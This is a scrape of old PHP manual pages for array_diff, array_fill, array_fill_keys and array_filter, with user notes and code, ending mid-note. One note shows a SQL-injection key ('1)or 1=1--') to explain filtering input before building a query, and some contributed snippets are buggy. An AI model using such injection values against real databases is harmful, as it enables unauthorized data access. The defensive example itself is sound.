In PHP 4.0.6 the array_minus_array() as shown above didn't work properly, especially when you use duplicated values:

When I wanted to substract
      'Array(1,1,2,3)'
with
      'Array (1,2,4)'

I wanted as result:

'Array(1,3)'

And not just 'Array (3)' as it would give using array_diff(), or nothing as result using the above array_minus_array function.

This worked for me:

<?php
function array_minus_array($a,$b)  {
    $c = Array();
    foreach ($a as $key => $val) {
           $posb = array_search($val,$b);
           if (is_integer($posb)) {
               unset($b[$posb]);
           } else {
               $c[] = $val;
           }
    }
    return $c;
}
?>
alex at bacan dot cl_remove_this_for_email 08-Feb-2002 12:03
For those who are looking how to substract one array for another:
you cannot use the "-" operator !!!

But you can use this function:
<?php
function array_minus_array($a, $b) {
        $c=array_diff($a,$b);
        $c=array_intersect($c, $a);
        return $c;
}
?>

So, for example:
<?php
$a[]="a";
$a[]="b";
$a[]="c";
$b[]="a";
$c=array_minus_array($a,$b);
var_dump($c);
?>

Prints out:
array(2) {
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
}
which is $a-$b, as we wanted.

PD: you may also do a foreach ... if $a in_array $b ... but this is much more elegant !!!
Credits to A.Atala "mandrake", who knows everything about mathematic.
SeanECoates at !donotspam!yahoo dot ca 16-Oct-2001 10:43
I just came upon a really good use for array_diff(). When reading a dir(opendir;readdir), I _rarely_ want "." or ".." to be in the array of files I'm creating. Here's a simple way to remove them:

<?php
 $someFiles = array();
 $dp = opendir("/some/dir");
 while($someFiles[] = readdir($dp));
 closedir($dp);

 $removeDirs = array(".","..");
 $someFiles = array_diff($someFiles, $removeDirs);

 foreach($someFiles AS $thisFile) echo $thisFile."\n";
?>

S
caugustin at alcyonis dot nospam dot fr 26-Jul-2001 03:57
In version 4.0.1 to 4.0.4, array_diff() works on array of array, but not anymore in version 4.0.5 and 4.0.6.<br>
According to php team :
When I wrote array_diff I didn't think of this use. It
worked by accident. array_diff was changed to avoid
some ordering problems. The way it was there was no well
defined ordering. Due to automatic type conversion, you
you would have 3d < 99 <  370 < 3d. This made
array_diff fail, this was fixed by always using string
comparisons. That doesn't work for arrays though.
david at audiogalaxy dot com 08-Apr-2001 04:12
Note that array_diff() considers the type of the array elements when it compares them.

If array_diff() doesn't appear to be working, check your inputs using var_dump() to make sure you're not trying to diff an array of integers with an array of strings.
array_diff_ukey
array_fill_keys
Array Functions


Fill an array with values, specifying keys

array_diff
array_fill
Array Functions
PHP Manual

array_fill_keys

(PHP 5 >= 5.2.0)

array_fill_keys — Fill an array with values, specifying keys

Description

array array_fill_keys ( array $keys , mixed $value )

Fills an array with the value of the value parameter, using the values of the keys array as keys.

Parameters

keys

Array of values that will be used as keys. Illegal values for key will be converted to string.

value

Value to use for filling

Return Values

Returns the filled array

Examples

Example #1 array_fill_keys() example

<?php
$keys = array('foo', 5, 10, 'bar');
$a = array_fill_keys($keys, 'banana');
print_r($a);
?>

The above example will output:

Array
(
    [foo] => banana
    [5] => banana
    [10] => banana
    [bar] => banana
)

See Also

  • array_fill() - Fill an array with values
  • array_combine() - Creates an array by using one array for keys and another for its values

User Contributed Notes

matrebatre 20-Jun-2008 07:28
This function does the same as:
<?php
$array = array_combine($keys,array_fill(0,count($keys),$value));
?>
phydeaux 14-May-2008 10:26
Scratchy's version still doesn't work like the definition describes.  Here's one that can take a mixed variable as the second parameter, defaulting to an empty string if it's not specified.  Don't know if this is exactly how the function works in later versions but it's at least a lot closer.

function array_fill_keys($target, $value = '') {
    if(is_array($target)) {
        foreach($target as $key => $val) {
            $filledArray[$val] = is_array($value) ? $value[$key] : $value;
        }
    }
    return $filledArray;
}

This works for either strings or numerics, so if we have

$arr1 = array(0 => 'abc', 1 => 'def');
$arr2 = array(0 => 452, 1 => 128);
$arr3 = array(0 => 'foo', 1 => 'bar');

then

array_fill_keys($arr1,$arr2)
returns: [abc] => 452, [def] => 128

array_fill_keys($arr1,0)
returns: [abc] => 0, [def] => 0

array_fill_keys($arr2,$arr3)
returns: [452] => foo, [128] => bar

array_fill_keys($arr3,'BLAH')
returns: [foo] => BLAH, [bar] => BLAH

and array_fill_keys($arr1)
returns: [abc] =>, [def] =>
Scratchy 02-May-2008 02:18
RE: bananasims at hotmail dot com

I also needed a work around to not having a new version of PHP and wanting my own keys. bananasims code doesn't like having an array as the second parameter...

Here's a slightly modified version than can handle 2 arrays as inputs:

//we want these values to be keys
$arr1 = (0 => "abc", 1 => "def");
/we want these values to be values
$arr2 = (0 => 452, 1 => 128);

function array_fill_keys($keyArray, $valueArray) {
    if(is_array($keyArray)) {
        foreach($keyArray as $key => $value) {
            $filledArray[$value] = $valueArray[$key];
        }
    }
    return $filledArray;
}

array_fill_keys($arr1, $arr2);

returns:
abc => 452, def =>128
bananasims at hotmail dot com 19-Dec-2006 05:03
Some of the versions do not have this function.
I try to write it myself.
You may refer to my script below

function array_fill_keys($array, $values) {
    if(is_array($array)) {
        foreach($array as $key => $value) {
            $arraydisplay[$array[$key]] = $values;
        }
    }
    return $arraydisplay;
}
array_diff
array_fill
Array Functions


Fill an array with values

array_fill_keys
array_filter
Array Functions
PHP Manual

array_fill

(PHP 4 >= 4.2.0, PHP 5)

array_fill — Fill an array with values

Description

array array_fill ( int $start_index , int $num , mixed $value )

Fills an array with num entries of the value of the value parameter, keys starting at the start_index parameter.

Parameters

start_index

The first index of the returned array.

If start_index is negative, the first index of the returned array will be start_index and the following indices will start from zero (see example).

num

Number of elements to insert. Must be greater than zero.

value

Value to use for filling

Return Values

Returns the filled array

Errors/Exceptions

Throws a E_WARNING if num is less than one.

Examples

Example #1 array_fill() example

<?php
$a = array_fill(5, 6, 'banana');
$b = array_fill(-2, 4, 'pear');
print_r($a);
print_r($b);
?>

The above example will output:

Array
(
    [5]  => banana
    [6]  => banana
    [7]  => banana
    [8]  => banana
    [9]  => banana
    [10] => banana
)
Array
(
    [-2] => pear
    [0] => pear
    [1] => pear
    [2] => pear
)

Notes

See also the Arrays section of manual for a detailed explanation of negative keys.

See Also

  • array_fill_keys() - Fill an array with values, specifying keys
  • str_repeat() - Repeat a string
  • range() - Create an array containing a range of elements

User Contributed Notes

caliban at darklock dot com 23-May-2005 07:42
To better handle the problem of sparse array completion mentioned a couple years ago...

What you really need in this scenario is an empty array containing all the desired keys, and a sparse array containing the keys and values you want overridden. This PHP5 function does that. (The PEAR package PHP_Compat should be able to fill in the gap -- array_combine() --  for a 4.3 install, if necessary.)

<?php
    function array_complete(
        $keys="",                // array of keys you need filled, in order
        $sparse=""                // sparse array to override blanks
    )
    {
        if(!is_array($sparse))
            $sparse=array();

        if(!is_array($keys))
            return $sparse;

        return array_merge(
            array_combine(        // create an associative array
                $keys,            // your list of keys
                array_fill(        // blank value for each key
                    0,count(
                        $keys
                    ),""
                )
            ),$sparse            // merge with your incomplete array
        );
    }
?>

This merges in your sparse array (inserting any additional keys in that array after the ones you've specified), placing its values in the key order you specify, leaving all the other values blank.

Test call: var_dump(array_complete(array("test1", "test2", "test3", "test4", "test5"), array("test3" => "test3", "test1" => "test1", "garbage" => "garbage")));

Result: array(6) {
  ["test1"]=>
  string(5) "test1"
  ["test2"]=>
  string(0) ""
  ["test3"]=>
  string(5) "test3"
  ["test4"]=>
  string(0) ""
  ["test5"]=>
  string(0) ""
  ["garbage"]=>
  string(7) "garbage"
}
csst0266 at cs dot uoi dot gr 11-Aug-2004 10:32
This is what I recently did to quickly create a two dimensional array (10x10), initialized to 0:

<?php
  $a = array_fill(0, 10, array_fill(0, 10, 0));
?>

This should work for as many dimensions as you want, each time passing to array_fill() (as the 3rd argument) another array_fill() function.
jausion at hotmail-dot-com 28-Mar-2003 11:50
For PHP < 4.2.0 users:

Add this to your script:
if (!function_exists('array_fill')) {
   require_once('array_fill.func.php');
}

and the array_fill.func.php file:

<?php

// For PHP version < 4.2.0 missing the array_fill function,
// I provide here an alternative. -Philippe

function array_fill($iStart, $iLen, $vValue) {
    $aResult = array();
    for ($iCount = $iStart; $iCount < $iLen + $iStart; $iCount++) {
        $aResult[$iCount] = $vValue;
    }
    return $aResult;
}

?>
25-Aug-2002 01:59
array_fill() cannot be used to setup only missing keys in an array. This  may be necessary for example before using implode()  on a sparse filled array.
The solution is to use this function:

<?php
function array_setkeys(&$array, $fill = NULL) {
  $indexmax = -1;
  for (end($array); $key = key($array); prev($array)) {
    if ($key > $indexmax)
      $indexmax = $key;
  }
  for ($i = 0; $i <= $indexmax; $i++) {
    if (!isset($array[$i]))
      $array[$i] = $fill;
  }
  ksort($array);
}
?>

This is usefull in some situations where you don't know which key index was filled and you want to preserve the association between a positioned field in an imploded array and the key index when exploding it.
array_fill_keys
array_filter
Array Functions


Filters elements of an array using a callback function

array_fill
array_flip
Array Functions
PHP Manual

array_filter

(PHP 4 >= 4.0.6, PHP 5)

array_filter — Filters elements of an array using a callback function

Description

array array_filter ( array $input [, callback $callback ] )

Iterates over each value in the input array passing them to the callback function. If the callback function returns true, the current value from input is returned into the result array. Array keys are preserved.

Parameters

input

The array to iterate over

callback

The callback function to use

If no callback is supplied, all entries of input equal to FALSE (see converting to boolean) will be removed.

Return Values

Returns the filtered array.

Examples

Example #1 array_filter() example

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}

function even($var)
{
    // returns whether the input integer is even
    return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>

The above example will output:

Odd :
Array
(
    [a] => 1
    [c] => 3
    [e] => 5
)
Even:
Array
(
    [0] => 6
    [2] => 8
    [4] => 10
    [6] => 12
)

Example #2 array_filter() without callback

<?php

$entry = array(
             0 => 'foo',
             1 => false,
             2 => -1,
             3 => null,
             4 => ''
          );

print_r(array_filter($entry));
?>

The above example will output:

Array
(
    [0] => foo
    [2] => -1
)

Notes

Caution

If the array is changed from the callback function (e.g. element added, deleted or unset) the behavior of this function is undefined.

See Also

  • array_map() - Applies the callback to the elements of the given arrays
  • array_reduce() - Iteratively reduce the array to a single value using a callback function
  • array_walk() - Apply a user function to every member of an array

User Contributed Notes

spam dot 2011 at rebell dot at 21-Nov-2011 02:28
If you have not noticed already - array_filter() can be used to remove empty elements, since an empty string considered "false", if you not specify a callback

Keep in mind, that this will remove also some other values - so if you want a quick "remove empty elements from array" this function will be fine, as long as you dont have anything to keep, which casts to "false"
lisachenko dot it at HUMAN dot gmail dot com 22-Jul-2011 12:54
You can access the current key of array by passing a reference to array into callback function and call key() and next() method in the callback function:
<?php
$data = array('first' => 1, 'second' => 2, 'third' => 3);
$data = array_filter($data, function ($item) use (&$data) {
    echo "Filtering key ", key($data), '<br>', PHP_EOL;
    next($data);
    return false;
});
?>

However be careful with array internal pointer or use reset() method before calling array_filter().
noonesvk at gmail dot com 04-May-2011 02:01
Hi all,

I made a simple reindex & filter function.

reindex( array $input, [ $blacklist = array() ] )

This function is working only with array that has keys in INTEGER.

<?php

function reindex(array $source, $blacklist = array())
{
    $i = 0;
    foreach ($source as $key => $val) {
        if ($key != $i) {
            unset($source[$key]);
            $source[$i] = $val;
        }

        $i++;
    }

    foreach ($source as $key => $val) {
        foreach ($blacklist as $var) {
            if ($val === $var) {
                unset($source[$key]);
                $source = reindex($source, $blacklist);
            }
        }
    }

    return $source;
}

// Examples:

// Create a simple array
$input = array(1 => 'red', 3 => 'green', 5 => 'blue', 7 => TRUE, 9 => FALSE, 11 => NULL);

// NOTE: If you have an array (look above) and your blacklist will look like this: array(TRUE, FALSE, NULL)
//          Filter will delete array keys with value TRUE, FALSE or NULL
$blacklist = array(TRUE, FALSE, NULL);

// Output is: Array ( [0] => red [1] => green [2] => blue )
print_r( reindex($input, $blacklist) );

?>

If you don't want to filter array by keys in blacklist, just use this prototype: reindex( array $input ), it should be fine. :)

If you guys have question, feel free to contact me. Have a nice day.
breich at reich-consulting dot net 15-Dec-2010 11:19
I built the following array_remove_keys() function to
remove one or more keys from an array.

<?php

function array_remove_keys($array, $keys = array()) {

    // If array is empty or not an array at all, don't bother
    // doing anything else.
    if(empty($array) || (! is_array($array))) {
        return $array;
    }

    // If $keys is a comma-separated list, convert to an array.
    if(is_string($keys)) {
        $keys = explode(',', $keys);
    }

    // At this point if $keys is not an array, we can't do anything with it.
    if(! is_array($keys)) {
        return $array;
    }

    // array_diff_key() expected an associative array.
    $assocKeys = array();
    foreach($keys as $key) {
        $assocKeys[$key] = true;
    }

    return array_diff_key($array, $assocKeys);
}

// Example:
$data = array(
    'name' => 'Brian',
    'address1' => '98 Market St.',
    'address2' => 'N/A'
);

// Output before array_remove_keys()
var_dump($data);

// Remove address2 key.
$data = array_remove_keys($data, 'address2');

// Output after array_remove_keys()
var_dump($data);

/* Output:

array(3) {
  ["name"]=>
  string(5) "Brian"
  ["address1"]=>
  string(13) "98 Market St."
  ["address2"]=>
  string(3) "N/A"
}
array(2) {
  ["name"]=>
  string(5) "Brian"
  ["address1"]=>
  string(13) "98 Market St."
}
*/
?>
rolf at example dot com 08-Nov-2010 11:06
Here is how you could easily delete a specific value from an array with array_filter:

<?php
$array = array (1, 3, 3, 5, 6);
$my_value = 3;
$filtered_array = array_filter($array, function ($element) use ($my_value) { return ($element != $my_value); } );
print_r($filtered_array);
?>

output:

Array
(
    [0] => 1
    [3] => 5
    [4] => 6
)
Peter Robinett 12-Aug-2010 08:09
Because array_filter() preserves keys, you should consider the resulting array to be an associative array even if the original array had integer keys for there may be holes in your sequence of keys. This means that, for example, json_encode() will convert your result array into an object instead of an array. Call array_values() on the result array to guarantee json_encode() gives you an array.
acid24 at gmail dot com 26-Jul-2010 05:58
A function that allows filtering an array by keys:

<?php
function array_filter_key( $input, $callback ) {
    if ( !is_array( $input ) ) {
        trigger_error( 'array_filter_key() expects parameter 1 to be array, ' . gettype( $input ) . ' given', E_USER_WARNING );
        return null;
    }

    if ( empty( $input ) ) {
        return $input;
    }

    $filteredKeys = array_filter( array_keys( $input ), $callback );
    if ( empty( $filteredKeys ) ) {
        return array();
    }

    $input = array_intersect_key( array_flip( $filteredKeys ), $input );

    return $input;
}

?>

Example:

<?php
$input = array_flip( range( 'a', 'z' ) );

$consonants = array_filter_key( $arr, function( $elem ) {
    $vowels = "aeiou";
    return strpos( $vowels, strtolower( $elem ) ) === false;
} );
?>

Outputs:

array(21) {
  ["b"]=>
  int(1)
  ["c"]=>
  int(2)
  ["d"]=>
  int(3)
  ["f"]=>
  int(5)
  ["g"]=>
  int(6)
  ["h"]=>
  int(7)
  ["j"]=>
  int(9)
  ["k"]=>
  int(10)
  ["l"]=>
  int(11)
  ["m"]=>
  int(12)
  ["n"]=>
  int(13)
  ["p"]=>
  int(15)
  ["q"]=>
  int(16)
  ["r"]=>
  int(17)
  ["s"]=>
  int(18)
  ["t"]=>
  int(19)
  ["v"]=>
  int(21)
  ["w"]=>
  int(22)
  ["x"]=>
  int(23)
  ["y"]=>
  int(24)
  ["z"]=>
  int(25)
}
Ant P. 13-Mar-2010 08:58
If you're using filter_input_array, the values will be null on failure and anything else on success. Because array_filter by default removes false, 0 and "" you need to do extra work like this:
<?php
$input_array = filter_input_array(INPUT_GET, array(
  'var1' => FILTER_VALIDATE_BOOLEAN,
  'var2' => FILTER_VALIDATE_INT
));

array_filter($input_array, function($a) { return !is_null($a) });
?>
webdesign at blackbyrd dot biz 08-Oct-2009 01:00
Here's a function that will filter a multi-demensional array. This filter will return only those items that match the $value given

<?php
    /*
     * filtering an array
     */
    function filter_by_value ($array, $index, $value){
        if(is_array($array) && count($array)>0)
        {
            foreach(array_keys($array) as $key){
                $temp[$key] = $array[$key][$index];

                if ($temp[$key] == $value){
                    $newarray[$key] = $array[$key];
                }
            }
          }
      return $newarray;
    }
?>

Example:

<?php
$results = array(
   0 => array('key1' => '1', 'key2' => 2, 'key3' => 3),
   1 => array('key1' => '12', 'key2' => 22, 'key3' => 32)
);

$nResults = filter_by_value($results, 'key2', '2');
?>

Output :

array(
    0 => array('key1' => '1', 'key2' => 2, 'key3' => 3)
);
mewsterus at yahoo dot com 14-Sep-2009 10:13
Here's an easy way to get a combination of keys and values, such that if you don't specify a key you will get the value, and if you do specify a key you will get the key:

<?php
$array = array('One' => 'First', 'Second', 'Third', 'Four' => 'Fourth', 'Fifth');

var_dump(array_keys($array));

$names = array_filter(array_keys($array), 'is_string') + array_values($array);
ksort($array);

var_dump($names);
?>

Outputs:

array(5) {
  [0]=>string(3) "One"
  [1]=>int(0)
  [2]=>int(1)
  [3]=>string(4) "Four"
  [4]=>int(2)
}
array(5) {
  [0]=>string(3) "One"
  [1]=>string(6) "Second"
  [2]=>string(5) "Third"
  [3]=>string(4) "Four"
  [4]=>string(5) "Fifth"
}

Without using ksort, the keys appear before the fallback values, instead of inline and appearing like they replace them, however the keys are intact (which is why ksort works) so it's only execution order.
mchargue at usc dot edu 07-Aug-2009 02:34
Wanting to pass an additional to parameter to the callback function?  This worked for me, there's probably another way to accomplish this task but just so you see how it can be done.  (I actually used this technique to strip old dates out of an array) :

<?php
//define in global scope so functions can access
$var_to_pass = null;

function myfilter($input_var_outer,$param) {

    global $var_to_pass;
    $var_to_pass = $param;

    function mycallback($input_var_inner) {
      global $var_to_pass;
      return ($input_var_inner>$var_to_pass) ? true : false;
    }

    $return_arr = array_filter($input_var_outer,'mycallback');
    //re-key if you want
    $return_arr = array_merge(array(),$return_arr);
    return $return_arr;

}

$min = 5;
$a = array(1,3,5,7,9);

//remove elements from array that are not greater than $min
$a = myfilter($a,$min);

echo "<pre>";
print_r($a);
echo "</pre>";
?>

--

Output:
Array
(
    [0] => 7
    [1] => 9
)
chrisstocktonaz at gmail dot com 30-Apr-2009 09:34
I use the following to see if a array consist of scalar values or null, but of course you could mix it up using any of the is_ functions.

<?php
if(count($data) !== count(array_filter($data, 'is_scalar') + array_filter($data, 'is_null'))) {
  throw new Exception('Array did not consist of scalar and null values');
}
?>
nat at fishtrap dot co dot uk 18-Mar-2009 09:28
One of the nice things about this function is that you can a standard php function such as is_string

e.g.
<?php

$input =array(1 , '2', 'three', array('sausages'));

$result = array_filter($input ,'is_string');

print_r($result);

?>

Result will be

Array
(
    [1] => 2
    [2] => three
)
Craig 07-Mar-2009 10:34
I wanted a function to keep the values that were filtered out and return them separately. Basically, split the array by some callback. I wrote this for the job:

<?php
function array_split($input, &$trues, &$falses, $compare)
{
    while (($item = array_pop($input)) != NULL)
    {
        if ($compare($item)) $trues[] = $item;
        else $falses[] = $item;
    }
}
?>

very simple, something I would think would be standard, and array_filter would amount to discarding the falses.
marijnk at NOSPAM dot gwobbel dot com 05-Mar-2009 02:16
I was looking for a function that could filter values from an array using a regular expression pattern supplied, based on leon at darkk dot net dot ru I created the following:

Description:
Return array of matching values from array using regular expression.
<?php
class array_ereg {
    function array_ereg($pattern) { $this->pattern = $pattern; }
    function ereg($string) {
        return ereg($this->pattern, $string);
    }
}
?>
 Usage :
<?php
      $matches = array_filter($subject, array(new array_ereg($pattern), 'ereg'));
?>
 Example:
 <?php
     $subject = array ("Thumbs.db", "image001.png", "image001.jpg", "image002.png");
     print_r(array_filter($subject, array(new array_ereg("image[0-9]{3}\.png"), 'ereg')));
?>
 Outputs:
     Array ( [1] => image001.png [3] => image002.png )
niehztog 30-Dec-2008 01:27
In case you are interested (like me) in filtering out elements with certain key-names, array_filter won't help you. Instead you can use the following:

<?php
$arr = array( 'element1' => 1, 'element2' => 2, 'element3' => 3, 'element4' => 4 );
$filterOutKeys = array( 'element1', 'element4' );

$filteredArr = array_diff_key( $arr, array_flip( $filterOutKeys ) )
?>

Result will be something like this:
['element2'] => 2
['element3'] => 3
romain dot lamarche at gmail dot com 11-Dec-2008 06:39
This function filters an array and remove all null values recursively.

<?php
  function array_filter_recursive($input)
  {
    foreach ($input as &$value)
    {
      if (is_array($value))
      {
        $value = array_filter_recursive($value);
      }
    }

    return array_filter($input);
  }
?>

Or with callback parameter (not tested) :

<?php
  function array_filter_recursive($input, $callback = null)
  {
    foreach ($input as &$value)
    {
      if (is_array($value))
      {
        $value = array_filter_recursive($value, $callback);
      }
    }

    return array_filter($input, $callback);
  }
?>
darren at dazwin dot com 08-Oct-2008 11:44
Regarding comment about trimming empty strings, the code posted will get into an infinite loop if the array is reduced to zero elements. The following might be better:

<?php
function array_trim($array) {
    while (!empty($array) and strlen(reset($array)) === 0) {
        array_shift($array);
    }
    while (!empty($array) and strlen(end($array)) === 0) {
        array_pop($array);
    }
    return $array;
}
?>
sami 03-Oct-2008 11:11
Yes, it may remove NULLS, but it also removes anything that factors to a FALSE as well; like FALSE and ZERO. :/
quecoder at gmail 27-Aug-2008 03:00
// my implementation for array_filter

function my_array_filter($array,$function,$preserve=true)
        {
            $return = array();
            foreach ($array as $k=>$v)
                {
                    if($function($v)==true) $return[$k]=$v;
                }
                if($preserve) return $return;
                else return array_values($return);
        }

function odd($value)
        {
            return ($value & 1);
        }

$oddonly = array (1,2,3,4,5,6,7,8,9);
print_r(my_array_filter($oddonly,'odd',1));

//output
//Array ( [0] => 1 [2] => 3 [4] => 5 [6] => 7 [8] => 9 )

//Khaled Mohammed
WASD 29-Jul-2008 04:53
You can easily delete all NULL elements from array with following statement:

<?php
$arr = array_filter($arr);
?>
Joan Garnet 04-Jan-2008 06:47
Be careful with this function as it preserves array indexes after applying the filter:

<?php
function f( $item ){
    return $item < 50;
}
print_r( array_filter(array( 10, 100, 20 ),"f") );
/* OUTPUT
Array
(
    [0] => 10
    [2] => 20
)*/
?>

You can easily reassign indexes like this:

<?php
function f( $item ){
    return $item < 50;
}
print_r( array_values(array_filter(array( 10, 100, 20 ),"f")) );
/* OUTPUT
Array
(
    [0] => 10
    [1] => 20
)*/
?>
nospam at jcornelius dot com 23-Oct-2007 11:51
Don't forget that using callbacks in a class requires that you reference the object name in the callback like so:

<?php

$newArray = array_filter($array, array($this,"callback_function"));

?>

Where "$this" is the reference to your object.
Martin 04-Sep-2007 10:56
This function trims empty strings from the beginning and end of an array.
It's useful when outputing plaintext files on a page and you want to skip empty lines at the beginning and end, but not within the text.

<?php
function array_trim($array) {
    while (strlen(reset($array)) === 0) {
        array_shift($array);
    }
    while (strlen(end($array)) === 0) {
        array_pop($array);
    }
    return $array;
}
?>

You might want to trim each element too.
Hayley Watson 29-Aug-2007 03:49
Just a simplification of my function from last month.

<?php
function partition($input, $callback=null)
{
    if(is_null($callback))
        $true = array_filter($input);
    else
        $true = array_filter($input, $callback);

    $false = array_diff_key($input, $true);
}
?>
Hayley Watson 26-Jul-2007 07:31
Here is my own version of Renee Sarsoo's array_split() function; given an array and a callback it returns two arrays, in which the first contains elements that passed the filter and the second contains elements that didn't. (If no callback is passed, the first array contains the nonempty elements, as you'd get from array_filter() if you don't give it a callback). Array keys are preserved.

<?php
function partition($input, $callback=null)
{
    static $not_empty=null;
    if(is_null($not_empty))
        $not_empty = create_function('$o', 'return !empty($o);');
    if(is_null($callback)) $callback = $not_empty;

    $true = array_filter($input, $callback);
    $false = array_diff_key($input, $true);

    return array($true, $false);
}
?>
Rene Saarsoo 09-Jul-2007 06:07
Sometimes you want to do something with elements you have filtered out and something else with other elements. So instead of filtering elements out to one array you would like to split array into two parts:
<?php
/**
 * Splits array into two arrays using a callback function
 *
 * It is like array_filter(), but instead of one array, two arrays are returned:
 * first one with elements for which the callback function evaluates to true,
 * and second one, for which it evaluates to false.
 *
 * If no callback is supplied, all entries of input equal to FALSE will be removed.
 *
 * Array keys are preserved.
 *
 * @param $callback the callback function to use
 * @return array(truth_array, false_array)
 */
function array_split($input, $callback=null) {
    $callback = isset($callback) ? $callback : create_function('$x', 'return $x == true;');

    $true = array();
    $false = array();
    foreach ($input as $key => $value) {
        if (call_user_func($callback, $value)) {
            $true[$key] = $value;
        }
        else {
            $false[$key] = $value;
        }
    }

    return array($true, $false);
}
?>
leon at darkk dot net dot ru 22-May-2007 12:15
Here is a way to get customizable filter

<?php
function blablabla() {
    ....
    $new = getNewUidls();
    class UidlFilter {
        function UidlFilter($uidls) { $this->uidls = $uidls; }
        function filter($metamsg) { return in_array($metamsg['uidl'], $this->uidls); }
    }
    $msglist = array_filter($msglist, array(new UidlFilter($new), 'filter');
    ....
}
?>
klaproth at creative-mindworks dot de 23-Oct-2006 07:13
As long as the array's keys are irrelevant, there is a simple way to remove blank values from the array, after filtering has been applied. The following example is used to remove all strings from an array that have a length of less than 4 characters.

<?php
function validElement($element) {
    return strlen($element) > 3;
}

$filtered_array = array_values(array_filter($input_array, "validElement"));
?>
Fladnag - bahatest at ifrance dot com 22-Oct-2006 09:19
If you have a form with multiple checkbox having ID element as value for selection in a list, you probably have a SQL request like :
$req="SELECT ... WHERE ID IN (".implode(',', array_keys($choices)).")";
without quote before and after choices keys because they are numeric values... but in fact, they can be string values, and a SQL injection problem.

with array_filter, you can easily filter bad values :
<?php
    $choices=array('A'=>'on', -1=>'on', 0=>'on', 1=>'on', 12=>'on', "1)or 1=1--"=>'on');
    print_r($choices);
    $choices=array_filter(array_keys($choices), 'is_numeric');
    print_r($choices);
?>
will print :
<?php
Array
(
    [A] => on
    [-1] => on
    [0] => on
    [1] => on
    [12] => on
    [1)or 1=1--] => on
)
Array
(
    [1] => -1
    [2] => 0
    [3] => 1
    [4] => 12
)
?>
ydotzhangatwriwindberdotorg 17-Jan-2006 01:57
I have written a function that will filter an array by the frequency of
element value in the array.  This may be useful to some people.

<?php
/////////////////////////////////////////////////////////////////
//    Filter an array by value freguebcy
//    Input: $array
//    cut-off: $frequency (>=1)
//    result option option: 1=$frequency and higher
//          0=$frequency only
//          -1=$frequency and lower
/////////////////////////////////////////////////////////////////
function filter_array($array, $frequency = 2, $include = 1){
    $freg = array_count_values($array);
    if($frequency<1){
       print "** frequency cut-off should be >= 1! **\n";
       return false;
    }
    foreach($freg as $k => $v){
        if($include == 0){
            if($frequency != $v){
                $freg[$k] = 0;
            }
        }elseif($include > 0){
            if($frequency > $v){
                $freg[$k] = 0;
            }
        }else{
            if($frequency < $v){
                $freg[$k] = 0;
            }
        }
    }
    $filtered = array_filter($freg);
    $values = array_keys($filtered);
    return array_intersect($array,$values);
}
?>
xert 26-Apr-2005 05:14
According to a simple test with array_filter($array) and array_diff($array, array('')) is array_filter 2.5 times faster than array_diff when deleting empty entries.
marc dot vanwoerkom at fernuni-hagen dot de 05-Jul-2004 08:09
Some of PHP's array functions play a prominent role in so called functional programming languages, where they show up under a slightly different name:

<?php
  array_filter() -> filter(),
  array_map() -> map(),
  array_reduce() -> foldl() ("fold left")
?>

Functional programming is a paradigm which centers around the side-effect free evaluation of functions. A program execution is a call of a function, which in turn might be defined by many other functions. One idea is to use functions to create special purpose functions from other functions.

The array functions mentioned above allow you compose new functions on arrays.

E.g. array_sum = array_map("sum", $arr).

This leads to a style of programming that looks much like algebra, e.g. the Bird/Meertens formalism.

E.g. a mathematician might state

  map(f o g) = map(f) o map(g)

the so called "loop fusion" law.

Many functions on arrays can be created by the use of the foldr() function (which works like foldl, but eating up array elements from the right).

I can't get into detail here, I just wanted to provide a hint about where this stuff also shows up and the theory behind it.
Maxwel Leite 11-May-2004 08:17
For any type of array. Basead in redshift code.

<?php
function array_clean ($array, $todelete = false, $caseSensitive = false) {
    foreach($array as $key => $value) {
        if(is_array($value)) {
            $array[$key] = array_clean($array[$key], $todelete, $caseSensitive);
        }
        else {
            if($todelete) {
                if($caseSensitive) {
                    if(strstr($value ,$todelete) !== false)
                        unset($array[$key]);
                }
                else {
                    if(stristr($value, $todelete) !== false)
                        unset($array[$key]);
                }
            }
            elseif (empty($value)) {
                unset($array[$key]);
            }
        }
    }
    return $array;
}
?>
steven at xinu dot org 23-Feb-2004 12:39
The anonymous fellow a few posts up was trying to illustrate how to use the array_filter() function with class methods but confused things a bit. Here's a cleaner example:

<?php
class testclass
{
    function testclass()
    {
        // define the numbers array
        $numbers = array(1, 2, 3, 4, 5, 6);

        // pull out the odd numbers
        $odd = array_filter($numbers, array($this, "odd"));

        // pull out the even numbers
        $even = array_filter($numbers, array($this, "even"));
    }

    function odd($var)
    {
        return($var % 2 == 1);
    }

    function even($var)
    {
        return($var % 2 == 0);
    }
}
?>
Jeremy 29-Dec-2003 01:31
Here is a nice little function which will apply a callback function recursively over a multidimensional array. If the callback function returns false, then it replaces the value of the array with $filtered_ouput. This function gracefully handles objects inside of arrays (and objects within objects within arrays, etc). It is specifically designed for your callback function to process on the array key's (unlike normal array_filter which filters on the values), but it could work on the array values depending on your test criteria (YMMV).

<?PHP

function array_key_filter_multi($array, $callback, $filtered_output = "")
{
   $ret = array();
   foreach($array as $key=>$value) {
       if($callback($key,$value)) {
           if(is_array($value)) {
               $ret[$key] = array_key_filter_multi($value, $callback, $filtered_output);
           }
           elseif(is_object($value)) {
               $ret[$key] = array_key_filter_multi(get_object_vars($value), $callback, $filtered_output);
           }
           else {
               $ret[$key]=$value;
           }
       }
       else {
           $ret[$key]=$filtered_output;
       }
   }
   return $ret;
}

?>

We use this to filter redundant data from debugging output. An example usage is:

<?

$callback_func = create_function('$key, $value', 'return ($key == "db" || $key == "smarty") ? false : true;');
echo "<PRE>" . print_r(array_key_filter_multi($_SESSION, $callback_func, "**filtered by function**"), true) . "</PRE>";

?>

Which filters all keys with "db" or "smarty" as their name (including objects which have a reference to those variables). The output of the above in a test case I did is the following:

Array
(
    [userdata] => Array
        (
            [sid] => a130e675d380e0e9fe47897922d719ac
            [not_in_db] =>
            [user_id] => 1
            [session_id] => 154
            [permissions] => 1
            [username] => tester
        )
    [systemobjects] => Array
        (
            [db] => **filtered by function**
            [smarty] => **filtered by function**
        )
)
redshift at pandora dot be 28-Jun-2003 12:01
Hi all,
Here's a function that will look trough an array, and removes the array member when the search string is found.

<?php
